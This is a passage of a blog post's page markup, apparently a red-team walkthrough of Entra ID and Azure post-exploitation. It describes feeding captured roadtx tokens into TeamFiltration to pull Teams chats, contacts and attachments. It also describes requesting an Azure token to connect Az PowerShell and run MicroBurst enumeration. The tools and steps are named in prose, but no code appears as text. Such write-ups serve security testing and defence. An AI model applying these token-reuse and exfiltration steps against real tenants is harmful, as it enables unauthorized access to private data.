href="https://substackcdn.com/image/fetch/$s_!Cg8E!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Cg8E!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 424w, https://substackcdn.com/image/fetch/$s_!Cg8E!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 848w, https://substackcdn.com/image/fetch/$s_!Cg8E!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 1272w, https://substackcdn.com/image/fetch/$s_!Cg8E!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Cg8E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png" width="875" height="445" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:445,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Cg8E!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 424w, https://substackcdn.com/image/fetch/$s_!Cg8E!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 848w, https://substackcdn.com/image/fetch/$s_!Cg8E!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 1272w, https://substackcdn.com/image/fetch/$s_!Cg8E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4321145-00a1-43e3-a6ed-9c1c79d33d84_875x445.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Access Token Containing the MFA Claim and Device ID</figcaption></figure></div><p>Shifting back to the post-exploitation examples, now that the <code>roadtx auth</code> module has populated my auth file (i.e., <code>.roadtools_auth</code>), it can be fed that into another tool such as <code>TeamFiltration</code> to use its exfiltration modules as well.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DXYq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DXYq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 424w, https://substackcdn.com/image/fetch/$s_!DXYq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 848w, https://substackcdn.com/image/fetch/$s_!DXYq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 1272w, https://substackcdn.com/image/fetch/$s_!DXYq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DXYq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png" width="875" height="769" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/32451db8-b701-475d-93e1-bfb4948a798c_875x769.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:769,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!DXYq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 424w, https://substackcdn.com/image/fetch/$s_!DXYq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 848w, https://substackcdn.com/image/fetch/$s_!DXYq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 1272w, https://substackcdn.com/image/fetch/$s_!DXYq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32451db8-b701-475d-93e1-bfb4948a798c_875x769.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Collecting Microsoft Teams Data with TeamFiltration</figcaption></figure></div><p>For <code>TeamFiltration</code>, the <code>--teams</code> module gathers data including contact lists, shared attachments, and conversations. That makes it a good alternative to adding a refresh token cookie to your browser and graphically browsing Teams.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LVK1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LVK1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 424w, https://substackcdn.com/image/fetch/$s_!LVK1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 848w, https://substackcdn.com/image/fetch/$s_!LVK1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 1272w, https://substackcdn.com/image/fetch/$s_!LVK1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LVK1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png" width="875" height="482" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:482,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!LVK1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 424w, https://substackcdn.com/image/fetch/$s_!LVK1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 848w, https://substackcdn.com/image/fetch/$s_!LVK1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 1272w, https://substackcdn.com/image/fetch/$s_!LVK1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F214b4feb-17cd-4501-92fb-fc65e38f4046_875x482.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">TeamFiltration Display of My Super Sensitive Teams Chat</figcaption></figure></div><p>Other tools may require tokens for different resources or different clients. As an example, <code>MicroBurst</code> modules that gather data on Azure resources rely on the Azure PowerShell module and thus will need an access token for the Azure Resource Manager (AzureRM) that specifies the Azure CLI client ID when authenticating. We can request that access token using <code>roadtx</code> by specifying the associated alias for that resource and the appropriate client name.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C4_0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C4_0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 424w, https://substackcdn.com/image/fetch/$s_!C4_0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 848w, https://substackcdn.com/image/fetch/$s_!C4_0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 1272w, https://substackcdn.com/image/fetch/$s_!C4_0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C4_0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png" width="875" height="281" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:281,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!C4_0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 424w, https://substackcdn.com/image/fetch/$s_!C4_0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 848w, https://substackcdn.com/image/fetch/$s_!C4_0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 1272w, https://substackcdn.com/image/fetch/$s_!C4_0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02c7be57-ef91-4bde-838f-3a39e20b352c_875x281.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Access Token Request for Usage with MicroBurst</figcaption></figure></div><p>Take the resulting access token from the <code>.roadtools_auth</code> file and supply it to the <code>Connect-AzAccount</code> cmdlet from the Az PowerShell module and you should see that it succeeds.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KpUe!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KpUe!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 424w, https://substackcdn.com/image/fetch/$s_!KpUe!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 848w, https://substackcdn.com/image/fetch/$s_!KpUe!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 1272w, https://substackcdn.com/image/fetch/$s_!KpUe!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KpUe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png" width="875" height="358" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:358,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!KpUe!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 424w, https://substackcdn.com/image/fetch/$s_!KpUe!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 848w, https://substackcdn.com/image/fetch/$s_!KpUe!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 1272w, https://substackcdn.com/image/fetch/$s_!KpUe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d0bc0a3-1bb4-4f6b-ada2-26d5c5dc8beb_875x358.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Connecting the Azure PowerShell Module</figcaption></figure></div><p><code>MicroBurst</code> can now be imported and run via <code>Get-AzDomainInfo</code> (in this example, we omit enumeration for things like Entra ID users and groups, which would also require a graph token).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lM9r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lM9r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 424w, https://substackcdn.com/image/fetch/$s_!lM9r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 848w, https://substackcdn.com/image/fetch/$s_!lM9r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 1272w, https://substackcdn.com/image/fetch/$s_!lM9r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lM9r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png" width="875" height="338" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:338,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lM9r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 424w, https://substackcdn.com/image/fetch/$s_!lM9r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 848w, 